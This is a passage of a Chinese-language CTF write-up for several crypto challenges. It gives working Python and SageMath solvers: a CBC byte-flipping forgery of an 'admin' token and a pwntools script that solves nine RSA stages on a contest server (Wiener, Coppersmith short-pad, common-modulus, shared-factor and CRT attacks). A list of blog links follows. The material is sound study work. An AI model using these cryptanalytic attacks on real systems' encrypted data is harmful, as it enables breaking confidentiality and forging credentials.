j in xrange(i+1,length): if s[i:i+4]==s[j:j+4]: val.append(j-i) maxtimes=0 maxval=0 book={} length=len(val) print val for i in xrange(length): for j in xrange(i+1,length): tmp=gcd(val[i],val[j]) if book.has_key(tmp): book[tmp]+=1 else: book[tmp]=1 if book[tmp]>maxtimes: maxval=tmp maxtimes=book[tmp] return maxval#key_len=get_len(a)#print key_len #24def is_ascii(string): if string: for i in string: if ord(i) > 128: return False return Truedef judgeascii(plain,num,block): start = 3*block for i in range(start,len(plain),18): if not is_ascii(plain[i:i+num]): return False return Truekey_len=24def get_key(encrypted,key_len): global candi_count candi_key_list = [[],[],[],[],[],[]] for block in range(int(key_len/4)): for a in chars: for b in chars: if not judgeascii(decrypt(encrypted,a+b+"aa"),1,block): continue for c in chars: if not judgeascii(decrypt(encrypted,a+b+c+"a"),2,block): continue for d in chars: if judgeascii(decrypt(encrypted,a+b+c+d),3,block): #print a+b+c+d candi_key_list[block].append(a+b+c+d) return candi_key_list#k1,k2,k3,k4,k5,k6=get_key(encrypted,key_len)#print k1,k2,k3,k4,k5,k6keylist=[]k1=['smab', 'smaf', 'smah', 'smai', 'smaj', 'smak', 'smal', 'sman', 'smao', 'smap', 'smaq', 'smar', 'smas', 'smat', 'smau', 'smax', 'smay', 'smaz', 'smaE', 'smaG', 'smaH', 'smaI', 'smaJ', 'smaK', 'smaL', 'smaM', 'smaN', 'smaS', 'smaU', 'smaX', 'smaY', 'sma2', 'sma7']k2=['lpic', 'lpid', 'lpie', 'lpif', 'lpig', 'lpii', 'lpij', 'lpik', 'lpil', 'lpim', 'lpin', 'lpio', 'lpip', 'lpiq', 'lpis', 'lpit', 'lpiu', 'lpiw', 'lpiA', 'lpiC', 'lpiD', 'lpiE', 'lpiF', 'lpiG', 'lpiH', 'lpiK', 'lpiM', 'lpiN', 'lpiT', 'lpiX', 'lpiY', 'lpiZ', 'lpi5', 'lpi7', 'lpi8', 'lpi9', 'lpi/']k3=['piga', 'pigf', 'pigh', 'pigi', 'pigj', 'pigk', 'pigm', 'pigo', 'pigp', 'pigq', 'pigr', 'pigs', 'pigu', 'pigv', 'pigw', 'pigx', 'pigy', 'pigz', 'pigA', 'pigC', 'pigE', 'pigF', 'pigG', 'pigH', 'pigO', 'pigQ', 'pigR', 'pigS', 'pigT', 'pigU', 'pig2', 'pig5', 'pig8', 'pig9']k4=['mala', 'malb', 'malc', 'male', 'malh', 'mali', 'malj', 'malk', 'mall', 'maln', 'malo', 'malp', 'malq', 'malr', 'mals', 'malt', 'malu', 'malv', 'malx', 'maly', 'malB', 'malG', 'malH', 'malI', 'malJ', 'malK', 'malL', 'malM', 'malO', 'malP', 'malU', 'malX', 'malY', 'mal5', 'mwla', 'mwlb', 'mwlc', 'mwle', 'mwlh', 'mwli', 'mwlj', 'mwlk', 'mwll', 'mwln', 'mwlo', 'mwlp', 'mwlq', 'mwlr', 'mwls', 'mwlt', 'mwlu', 'mwlv', 'mwlx', 'mwly', 'mwlB', 'mwlG', 'mwlH', 'mwlI', 'mwlJ', 'mwlK', 'mwlL', 'mwlM', 'mwlO', 'mwlP', 'mwlU', 'mwlX', 'mwlY', 'mwl5']k5=['lala', 'lalb', 'lalc', 'lald', 'lale', 'lalf', 'lalg', 'lalh', 'lali', 'lalm', 'laln', 'lalq', 'lalv', 'lalw', 'lalx', 'laly', 'lalz', 'lalB', 'lalC', 'lalD', 'lalE', 'lalJ', 'lalM', 'lalR', 'lalS', 'lalU', 'lal1', 'lal2', 'lal3', 'lal6', 'lal8', 'lal9', 'lal+', 'lal/']k6=['kala', 'kalc', 'kald', 'kale', 'kalf', 'kalg', 'kalh', 'kalj', 'kalm', 'kaln', 'kalq', 'kalt', 'kalv', 'kalw', 'kalx', 'kaly', 'kalz', 'kalA', 'kalB', 'kalC', 'kalD', 'kalE', 'kalJ', 'kalK', 'kalL', 'kalM', 'kalN', 'kalR', 'kalW', 'kalX', 'kalZ', 'kal6', 'kal8', 'kal9', 'kal+', 'kal/', 'lala', 'lalc', 'lald', 'lale', 'lalf', 'lalg', 'lalh', 'lalj', 'lalm', 'laln', 'lalq', 'lalt', 'lalv', 'lalw', 'lalx', 'laly', 'lalz', 'lalA', 'lalB', 'lalC', 'lalD', 'lalE', 'lalJ', 'lalK', 'lalL', 'lalM', 'lalN', 'lalR', 'lalW', 'lalX', 'lalZ', 'lal6', 'lal8', 'lal9', 'lal+', 'lal/']'''for i in k1: for j in k2: for k in k3: for l in k4: for m in k5: for n in k6: keylist.append(i+j+k+l+m+n) try: result=decrypt(encrypted,i+j+k+l+m+n).decode('base64') if "L0x" in result and result[-1]=='L': print result print i+j+k+l+m+n except: continueQByma8nqcfR+23dbnTnwpUkamJZfn4in8AFDnqogFRrSyC5uynoPYnZLrX1JMQINTHG63lCIlWPFlUFABnOJZSb7bdA7g2WZbABJRce0lxVxAYuHwMvuNTDntISXm1a9sroHE4WlGUTpUuxbM/pKtFpjXPin9J4zKugg0sD1vHswdk+wiUz8QA1rp6uNGSI6ZQjLlld7LBXPsuUPbAIfqxo3mpzXNRvDkoBoHbLGjbGH0LrdrE80GY8UcKiIEBTxZKP8l/cR3MO7/+R/OuBzgWGw90Zt36yqpnP8BIZlSi7G/IUsDyVLAk/23wBDjH8AHFt0I9izhpF/Dug35crQSg==0x5fcc948684da2134f277e6fe7ca8f0cccb253c0a67a437e918a10969ef3f67fedf8b80e87991eba0f8a24be8d74029bb7010571e9e32c48df05ea4034df6ed3218fc1412303af5aa7c38ba5eeb9dc28c094b9d34a7def01faf47b606082b386b01a5ea3574fe95eb1d1a3cf78d9215d3e60cebf5262d119ad4841122620bd11cee24f72f4ac61612eb572fc5fecd31329f7feaaec15a87075bf2562eeba8b43ebee6f039466922d48e2287fbfc287d88cdfb7aaefe64e441f28a46d6737efde909203c380ff1aba6835ba0b3799b7c1094a301373919e394c2a9e75b441c9a6078aee099ef54e5cc90c9a35aab5c1c3051121e1411c40fec0a48010a0f5a625fL0x8bfce4f19312101f6b9fac45d433922681d82b634330952f63759ed912e6942b35014256a7df18de69830056112557b9152833dc9ce7f4ce95b7c76f4f5175bcbe5fe340e03c3d2aLsmallpigpigsmalllalalala'''key='smallpigpigsmalllalalala'a='''QByma8nqcfR+23dbnTnwpUkamJZfn4in8AFDnqogFRrSyC5uynoPYnZLrX1JMQINTHG63lCIlWPFlUFABnOJZSb7bdA7g2WZbABJRce0lxVxAYuHwMvuNTDntISXm1a9sroHE4WlGUTpUuxbM/pKtFpjXPin9J4zKugg0sD1vHswdk+wiUz8QA1rp6uNGSI6ZQjLlld7LBXPsuUPbAIfqxo3mpzXNRvDkoBoHbLGjbGH0LrdrE80GY8UcKiIEBTxZKP8l/cR3MO7/+R/OuBzgWGw90Zt36yqpnP8BIZlSi7G/IUsDyVLAk/23wBDjH8AHFt0I9izhpF/Dug35crQSg=='''c=bytes_to_long(a.decode('base64'))n=0x5fcc948684da2134f277e6fe7ca8f0cccb253c0a67a437e918a10969ef3f67fedf8b80e87991eba0f8a24be8d74029bb7010571e9e32c48df05ea4034df6ed3218fc1412303af5aa7c38ba5eeb9dc28c094b9d34a7def01faf47b606082b386b01a5ea3574fe95eb1d1a3cf78d9215d3e60cebf5262d119ad4841122620bd11cee24f72f4ac61612eb572fc5fecd31329f7feaaec15a87075bf2562eeba8b43ebee6f039466922d48e2287fbfc287d88cdfb7aaefe64e441f28a46d6737efde909203c380ff1aba6835ba0b3799b7c1094a301373919e394c2a9e75b441c9a6078aee099ef54e5cc90c9a35aab5c1c3051121e1411c40fec0a48010a0f5a625fLq_576=0x8bfce4f19312101f6b9fac45d433922681d82b634330952f63759ed912e6942b35014256a7df18de69830056112557b9152833dc9ce7f4ce95b7c76f4f5175bcbe5fe340e03c3d2aLp=0x8bfce4f19312101f6b9fac45d433922681d82b634330952f63759ed912e6942b35014256a7df18de69830056112557b9152833dc9ce7f4ce95b7c76f4f5175bcbe5fe340e03c3d2a9f51a263e56e33e3e801538dd92b459a412cbe9efe2fa671bd83dae7d88c292bb21227ce242b1ee1a0fb222b3f3436911bf0940b2cf5da4fLq=0xaf30d53c6a8aaefd7da0d6b7f7c139527f14f3b18232119e9c8964b43a64456553eca17cefa9e9d06aec24710d3f88a2d5b67811e63f0a77a5e34dc02d70a4269511109448bd1c33e80e13c11ab0524f7186a29e09d83431f0862fa9e41b894f703af8362bcdefded4f96169c21641a6ba652f72c741292c86306b4e4608c2f1Le=65537phi_n=(p-1)*(q-1)d=invmod(e,phi_n)print hex(pow(c,d,n))[2:-1].decode('hex')
crypto400 heheda
先贴我自己的代码:
import hashlibfrom Crypto.Util.number import getPrime, long_to_bytes, bytes_to_longfrom Crypto.Cipher import AESimport randomimport base64def gen_iv(seed): s=random.Random() s.seed(seed) while True: iv=long_to_bytes(s.randint(0xfffffffffffffffffffffffffffffff,0xffffffffffffffffffffffffffffffff)) if hashlib.sha256(iv).hexdigest()[0:4]==hashlib.sha256(long_to_bytes(seed)).hexdigest()[0:4]: return ivdef gen_password(seed): s=random.Random() s.seed(seed) while True: password=long_to_bytes(s.randint(0xfffffffffffffffffffffffffffffff,0xffffffffffffffffffffffffffffffff)) if hashlib.sha256(password).hexdigest()[4:8]==hashlib.sha256(long_to_bytes(seed)).hexdigest()[4:8]: return passwordm="token=5t43g5g2j1;admin=0;group=0"c="bMPWOsg+YH0eSwchPY6HTEvf3ESETSrEQ3/M1d0lUm0=".decode("base64")evil_c=c[:23]+c[23]new_c=c[:7]+chr(ord(c[7])^ord('0')^ord('1'))+c[8:]new_c2=c[:15]+chr(ord(c[15])^ord('0')^ord('1'))+c[16:]new_c3=c[:7]+chr(ord(c[7])^ord('0')^ord('1'))+c[8:15]+chr(ord(c[15])^ord('0')^ord('1'))+c[16:]monster=new_c3seed=int(hashlib.sha256(monster).hexdigest(),16)iv=gen_iv(seed)password=gen_password(seed)cipher = AES.new(password, AES.MODE_CBC, iv)msg=open('heheda.txt','rb').read().decode('hex')c = cipher.decrypt(msg)#print cwhile c[-1]=='A': c=c[:-1]c=int(c,10)#print hex(c)[2:-1].decode('hex')d=hex(c)[2:-1].decode('hex')d=base64.b64decode(d)d=base64.b32decode(d)d=base64.b32decode(d)d=base64.b64decode(d)d=d.decode('hex')d=base64.b32decode(d)d=base64.b64decode(d)d=base64.b32decode(d)d=base64.b64decode(d)d=d.decode('hex')d=d.decode('hex')d=d.decode('hex')d=base64.b64decode(d)d=d.decode('hex')d=d.decode('hex')print d
通过cbc字节翻转,反转了两个字节然后做出来了,这道题核心就是求出monster
的值,至于后面的随机数,如果种子一样的话,重复几次生成的值都是一样的,伪随机算法嘛,得到monster求出密文,然后一次一次手动base64
、base32
、hex
交替解码,然后拿到flag
crypto500 rsb
这道题几乎涵盖了常见的rsa的求解方式,代码如下
#encoding:utf-8from hashlib import *from pwn import *from libnum import invmod, gcdimport gmpyimport randomdef pown(b, e, m): result = 1 while e != 0: if (e&1) == 1: result = (result * b) % m e >>= 1 b = (b*b) % m return resultdef egcd(a, b): x,y = 0, 1 lastx, lasty = 1, 0 while b: a, (q, b) = b, divmod(a,b) x, lastx = lastx-q*x, x y, lasty = lasty-q*y, y return (a ,lastx, lasty)def isqrt(n): x = n y = (x + 1) // 2 while y < x: x = y y = (x + n // x) // 2 if pow(x, 2) == n: return x else: return Falsedef con_fra(a, b): r = [] while True: if a == 1: break tmp = a/b if tmp != 0: r.append(tmp) a, b = b, (a-tmp*b) return rdef wiener_attack(e, n): cf = con_fra(e, n) for x in xrange(len(cf)): k, d = 0, 1 while x >= 0: k, d = d, d*cf[x] + k x -= 1 phi_n = (e*d - 1)/k B = n - phi_n + 1 C = n dt = pow(B, 2) - 4*C if dt >= 0 and isqrt(dt) and (B+isqrt(dt)) % 2 == 0: #return phi_n return d print "wiener attack fail!"con=remote('59.110.6.98',39999)con.recvuntil("=='")a=con.recvuntil("'")[:-1]con.recvuntil('\n')flag=0for i in xrange(255): for j in xrange(255): for k in xrange(31): if flag==1: break x=chr(i)+chr(j)+chr(k) if hashlib.sha256(x).hexdigest()[0:8]==a: con.send(x.encode('hex')) flag=1 break#第一关暴力分解ncon.recvuntil("n=")n=int(con.recvuntil('\n'),16)con.recvuntil("e=")e=int(con.recvuntil('\n'),16)con.recvuntil("c=")c=int(con.recvuntil('\n'),16)con.recvuntil("m=")p=256913509664055303183506954831487421301q=45043428986179862656564931228456462279phi_n=(q-1)*(p-1)d=invmod(e,phi_n)m=pown(c,d,n)con.send(hex(m))#第二关 wiener_attackcon.recvuntil("n=")n=int(con.recvuntil('\n'),16)con.recvuntil("e=")e=int(con.recvuntil('\n'),16)con.recvuntil("c=")c=int(con.recvuntil('\n'),16)con.recvuntil("m=")d=wiener_attack(e,n)m=pown(c,d,n)con.send(hex(m))#第三关 Coppersmith’s Short Pad Attackcon.recvuntil("n=")n=int(con.recvuntil('\n'),16)con.recvuntil("e=")e=int(con.recvuntil('\n'),16)con.recvuntil("c=")c=int(con.recvuntil('\n'),16)con.recvuntil("b=")b=int(con.recvuntil('\n'),16)con.recvuntil("x=")x=3704324190009897834con.send(hex(x))##普通数学计算'''n=p*1(p+1)*(q+1)=p*q+q+p+1 ===> 求得p+q(p-1)*(q-1)=p*q-(q+p)+1 ===> 求得phi_n'''con.recvuntil("n=")n=int(con.recvuntil('\n'),16)con.recvuntil("e=")e=int(con.recvuntil('\n'),16)con.recvuntil("(p+1)*(q+1)=")tmp=int(con.recvuntil('\n'),16)con.recvuntil("c=")c=int(con.recvuntil('\n'),16)con.recvuntil("m=")p_add_q=tmp-n-1phi_n=n-p_add_q+1d=invmod(e,phi_n)m=pown(c,d,n)con.send(hex(m))##第五关,暴力分解ncon.recvuntil("n=")n=int(con.recvuntil('\n'),16)con.recvuntil("e=")e=int(con.recvuntil('\n'),16)con.recvuntil("c=")c=int(con.recvuntil('\n'),16)con.recvuntil("m=")p=1629866629q=138423767106114825518412312295081579527987925320428374018961182404062304717179771576959623739220546805093109254916722026063048961856697347314372477693365545069742737396614708232836436873673046221598981110715206345476199781357006164549411982378583422849079456068437622267920965918937897699841520210882019868077phi_n=(p-1)*(q-1)d=invmod(e,phi_n)m=pown(c,d,n)con.send(hex(m))##第六关 低公玥指数攻击+小明文攻击con.recvuntil("n=")n=int(con.recvuntil('\n'),16)con.recvuntil("e=")e=int(con.recvuntil('\n'),16)con.recvuntil("c=")c=int(con.recvuntil('\n'),16)con.recvuntil("m=")i=0while 1: if(gmpy.root(c+i*n, 3)[1]==1): m=long(gmpy.root(c+i*n, 3)[0]) break i=i+1con.send(hex(m))##第七关 ,琢磨好一会儿,结果发现俩个n竟然有公约数,这样就求出共有的素因子p,然后其他就好求了con.recvuntil("n1=")n1=int(con.recvuntil('\n'),16)con.recvuntil("e1=")e1=int(con.recvuntil('\n'),16)con.recvuntil("c1=")c1=int(con.recvuntil('\n'),16)con.recvuntil("n2=")n2=int(con.recvuntil('\n'),16)con.recvuntil("e2=")e2=int(con.recvuntil('\n'),16)con.recvuntil("c2=")c2=int(con.recvuntil('\n'),16)con.recvuntil("m1=")p=gcd(n1,n2)q1=n1/pphi_n1=(p-1)*(q1-1)d1=invmod(e1,phi_n1)m1=pown(c1,d1,n1)con.send(hex(m1))q2=n2/pphi_n2=(p-1)*(q2-1)d2=invmod(e2,phi_n2)m2=pown(c2,d2,n2)con.send(hex(m2))##第八层 共模攻击con.recvuntil("n=")n=int(con.recvuntil('\n'),16)con.recvuntil("e1=")e1=int(con.recvuntil('\n'),16)con.recvuntil("c1=")c1=int(con.recvuntil('\n'),16)con.recvuntil("e2=")e2=int(con.recvuntil('\n'),16)con.recvuntil("c2=")c2=int(con.recvuntil('\n'),16)con.recvuntil("m=")s = egcd(e1, e2)s1 = s[1]s2 = s[2]if s1<0: s1=-s1 c1=invmod(c1, n)elif s2<0: s2=-s2 c2=invmod(c2, n)m=(pow(c1,s1,n)*pow(c2,s2,n))%ncon.send(hex(m))#第九层,孙子定理求解con.recvuntil("e=")e=int(con.recvuntil('\n'),16)con.recvuntil("n1=")n1=int(con.recvuntil('\n'),16)con.recvuntil("c1=")c1=int(con.recvuntil('\n'),16)con.recvuntil("n2=")n2=int(con.recvuntil('\n'),16)con.recvuntil("c2=")c2=int(con.recvuntil('\n'),16)con.recvuntil("n3=")n3=int(con.recvuntil('\n'),16)con.recvuntil("c3=")c3=int(con.recvuntil('\n'),16)con.recvuntil("m=")M=n1*n2*n3M1=n2*n3M2=n1*n3M3=n1*n2t1=invmod(M1,n1)t2=invmod(M2,n2)t3=invmod(M3,n3)t=(c1*t1*M1+c2*t2*M2+c3*t3*M3)%Mm=long(gmpy.root(t,3)[0])con.send(hex(m))con.interactive()
下面是中间用到的Coppersmith’s Short Pad Attack
的sage代码,github上摘下来改的,忘了原来链接了。
# display matrix picture with 0 and Xdef matrix_overview(BB, bound): for ii in range(BB.dimensions()[0]): a = ('%02d ' % ii) for jj in range(BB.dimensions()[1]): a += '0' if BB[ii,jj] == 0 else 'X' a += ' ' if BB[ii, ii] >= bound: a += '~' print adef coppersmith_howgrave_univariate(pol, modulus, beta, mm, tt, XX): """ Coppersmith revisited by Howgrave-Graham finds a solution if: * b|modulus, b >= modulus^beta , 0 < beta <= 1 * |x| < XX """ # # init # dd = pol.degree() nn = dd * mm + tt # # checks # if not 0 < beta <= 1: raise ValueError("beta should belongs in (0, 1]") if not pol.is_monic(): raise ArithmeticError("Polynomial must be monic.") # # calculate bounds and display them # """ * we want to find g(x) such that ||g(xX)|| <= b^m / sqrt(n) * we know LLL will give us a short vector v such that: ||v|| <= 2^((n - 1)/4) * det(L)^(1/n) * we will use that vector as a coefficient vector for our g(x) * so we want to satisfy: 2^((n - 1)/4) * det(L)^(1/n) < N^(beta*m) / sqrt(n) so we can obtain ||v|| < N^(beta*m) / sqrt(n) <= b^m / sqrt(n) (it's important to use N because we might not know b) """ if debug: # t optimized? print "\n# Optimized t?\n" print "we want X^(n-1) < N^(beta*m) so that each vector is helpful" cond1 = RR(XX^(nn-1)) print "* X^(n-1) = ", cond1 cond2 = pow(modulus, beta*mm) print "* N^(beta*m) = ", cond2 print "* X^(n-1) < N^(beta*m) \n-> GOOD" if cond1 < cond2 else "* X^(n-1) >= N^(beta*m) \n-> NOT GOOD" # bound for X print "\n# X bound respected?\n" print "we want X <= N^(((2*beta*m)/(n-1)) - ((delta*m*(m+1))/(n*(n-1)))) / 2 = M" print "* X =", XX cond2 = RR(modulus^(((2*beta*mm)/(nn-1)) - ((dd*mm*(mm+1))/(nn*(nn-1)))) / 2) print "* M =", cond2 print "* X <= M \n-> GOOD" if XX <= cond2 else "* X > M \n-> NOT GOOD" # solution possible? print "\n# Solutions possible?\n" detL = RR(modulus^(dd * mm * (mm + 1) / 2) * XX^(nn * (nn - 1) / 2)) print "we can find a solution if 2^((n - 1)/4) * det(L)^(1/n) < N^(beta*m) / sqrt(n)" cond1 = RR(2^((nn - 1)/4) * detL^(1/nn)) print "* 2^((n - 1)/4) * det(L)^(1/n) = ", cond1 cond2 = RR(modulus^(beta*mm) / sqrt(nn)) print "* N^(beta*m) / sqrt(n) = ", cond2 print "* 2^((n - 1)/4) * det(L)^(1/n) < N^(beta*m) / sqrt(n) \n-> SOLUTION WILL BE FOUND" if cond1 < cond2 else "* 2^((n - 1)/4) * det(L)^(1/n) >= N^(beta*m) / sqroot(n) \n-> NO SOLUTIONS MIGHT BE FOUND (but we never know)" # warning about X print "\n# Note that no solutions will be found _for sure_ if you don't respect:\n* |root| < X \n* b >= modulus^beta\n" # # Coppersmith revisited algo for univariate # # change ring of pol and x polZ = pol.change_ring(ZZ) x = polZ.parent().gen() # compute polynomials gg = [] for ii in range(mm): for jj in range(dd): gg.append((x * XX)**jj * modulus**(mm - ii) * polZ(x * XX)**ii) for ii in range(tt): gg.append((x * XX)**ii * polZ(x * XX)**mm) # construct lattice B BB = Matrix(ZZ, nn) for ii in range(nn): for jj in range(ii+1): BB[ii, jj] = gg[ii][jj] # display basis matrix if debug: matrix_overview(BB, modulus^mm) # LLL BB = BB.LLL() # transform shortest vector in polynomial new_pol = 0 for ii in range(nn): new_pol += x**ii * BB[0, ii] / XX**ii # factor polynomial potential_roots = new_pol.roots() print "potential roots:", potential_roots # test roots roots = [] for root in potential_roots: if root[0].is_integer(): result = polZ(ZZ(root[0])) if gcd(modulus, result) >= modulus^beta: roots.append(ZZ(root[0])) # return rootslength_N = 1024e = 3N = 0x84dbee33d505f425dfb0138a153f7b67cdc2e33c3bfbe081e896b573b7df53e875ec366579396d4b8d4282efdeca4deeae7efbb81469a09ccd9208a6c07a66362724790462c5814fff6869f9ab8193405ae30ed3056ad67c8104e1b0d1703bf06a7096cac7cfb50783e52010512135f81df8354e2d0de09c5588ad286847a145ZmodN = Zmod(N);C = 0x113fe2d988f1643f6b73ca392cee5567d02a7835ec4d137c62971d9f27dbd2d6ae4b9a182a907d7a6ddef18f371337560d7ff199068e703d7b4cf56773e9b5023bff60a2c8bc1524feea5214edcd436379ca6895bc8c0bd680c32ae17b0950ff221c007daca10babb9853a3a25e4eb54bbc3a2401ad6d27b60febf8b8948b734P.<x> = PolynomialRing(ZmodN) #, implementation='NTL')b=0xfedcba98765432100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000pol = (b + x)^e - Cdd = pol.degree()# Tweak thosebeta = 1 # b = Nepsilon = beta / 7 # <= beta / 7mm = ceil(beta**2 / (dd * epsilon)) # optimized valuett = floor(dd * mm * ((1/beta) - 1)) # optimized valueXX = ceil(N**((beta**2/dd) - epsilon)) # optimized value# Coppersmithroots = coppersmith_howgrave_univariate(pol, N, beta, mm, tt, XX)# outputprint "\n# Solutions"print "we found:", str(roots)print "\n"
以及运行截图
- 校赛部分web+crypto WriteUP
- Nuit du hack 2017 web&crypto Writeup
- 西普 部分WEB Writeup
- hctf2016 web 部分WriteUp.md
- 0ctf 部分web writeup.md
- writeup-web
- 广西首届网络安全选拔赛 CRYPTO Writeup
- "360春秋杯"线上赛 web Writeup
- 练习赛web题writeup(学习笔记)
- MIAC移动安全赛web writeup【不全】
- ISCC 2017 writeup(部分)
- JarvisOJ basic部分WriteUp
- XDCTF 部分Writeup
- PCTF2016 Web WriteUp
- jarvisoj WEB +MISC writeup
- ZCTF2017 WEB Writeup
- NJCTF 2017 web Writeup
- NJCTF WEB Writeup
- 【codeforces 752C】Santa Claus and Robot
- hdu 2612 find a way
- CSS--鼠标滑过、鼠标点击
- 【Codeforces Round #389】Codeforces 752C Santa Claus and Robot
- 栈帧结构
- 校赛部分web+crypto WriteUP
- shell script随笔记
- 51单片机显示时间日期
- dede封面页无法生成,模板不存在,无法解析!
- N后问题——回溯法求解
- 结构体指针
- mysql锁机制
- 图书管理系统
- Oracle单实例asm安装步骤